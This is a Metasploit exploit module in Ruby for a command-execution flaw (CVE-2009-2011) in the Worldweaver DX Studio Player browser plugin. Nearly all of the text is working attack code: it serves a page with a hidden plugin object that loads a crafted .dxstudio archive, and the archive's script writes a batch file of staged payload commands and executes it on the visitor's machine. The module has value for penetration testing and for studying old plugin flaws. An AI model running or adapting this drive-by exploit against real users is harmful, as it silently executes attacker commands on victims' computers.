Worldweaver DX Studio Player 3.0.29 – ‘shell.execute()’ Command Execution (Metasploit)
## # $Id: dxstudio_player_exec.rb 9375 2010-05-26 22:39:56Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'Worldweaver DX Studio Player <= 3.0.29 shell.execute() Command Execution', 'Description' => %q{ This module exploits a command execution vulnerability within the DX Studio Player from Worldweaver. The player is a browser plugin for IE (ActiveX) and Firefox (dll). When an unsuspecting user visits a web page referring to a specially crafted .dxstudio document, an attacker can execute arbitrary commands. Testing was conducted using plugin version 3.0.29.0 for Firefox 2.0.0.20 and IE 6 on Windows XP SP3. In IE, the user will be prompted if they wish to allow the plug-in to access local files. This prompt appears to occur only once per server host. NOTE: This exploit uses additionally dangerous script features to write to local files! }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 9375 $', 'References' => [ [ 'CVE', '2009-2011' ], [ 'BID', '35273' ], [ 'OSVDB', '54969' ], [ 'URL', 'http://www.exploit-db.com/exploits/8922' ], [ 'URL', 'http://dxstudio.com/guide.aspx' ] ], 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', # 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Jun 09 2009', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) url_base = "http://" url_base += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] url_base += ":" + datastore['SRVPORT'] + get_resource() payload_url = url_base + "/payload" # handle request for the payload if (request.uri.match(/payload/)) # build the payload return if ((p = regenerate_payload(cli)) == nil) cmds = generate_cmdstager({:linemax => 2047}, p) scr = "" cmds.each { |ln| scr << "f.writeString('" scr << ln scr << "\\n');\n" } # make header.xml hdrxml = %Q|<?xml version="1.0"?> <dxstudio> <script><![CDATA[function onInit() { var f=system.file.openWrite("BATNAME"); f.writeString('@echo off\\n'); CMDS f.close(); shell.execute("BATNAME"); }]]> </script> </dxstudio> | hdrxml.gsub!(/CMDS/, scr); bat_name = rand_text_alphanumeric(rand(32)) + ".bat" hdrxml.gsub!(/BATNAME/, bat_name); # craft the zip archive zip = Rex::Zip::Archive.new zip.add_file("header.xml", hdrxml) data = zip.pack print_status("Sending file.dxstudio payload to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) # Handle the payload # handler(cli) return end # otherwise, send the html.. html = %Q|<html> <body> <div height=100%> Please wait... </div> <object width=1 height=1 classid='clsid:0AC2706C-8623-46F8-9EDD-8F71A897FDAE'> <param name="src" value="DXURL" /> <embed width=1 height=1 src=DXURL type="application/x-dxstudio"> </embed> </object> </body> </html> | print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client html.gsub!(/DXURL/, payload_url) send_response(cli, html, { 'Content-Type' => 'text/html' }) end end =begin TODO: - make it more quiet - auto-migrate? =end |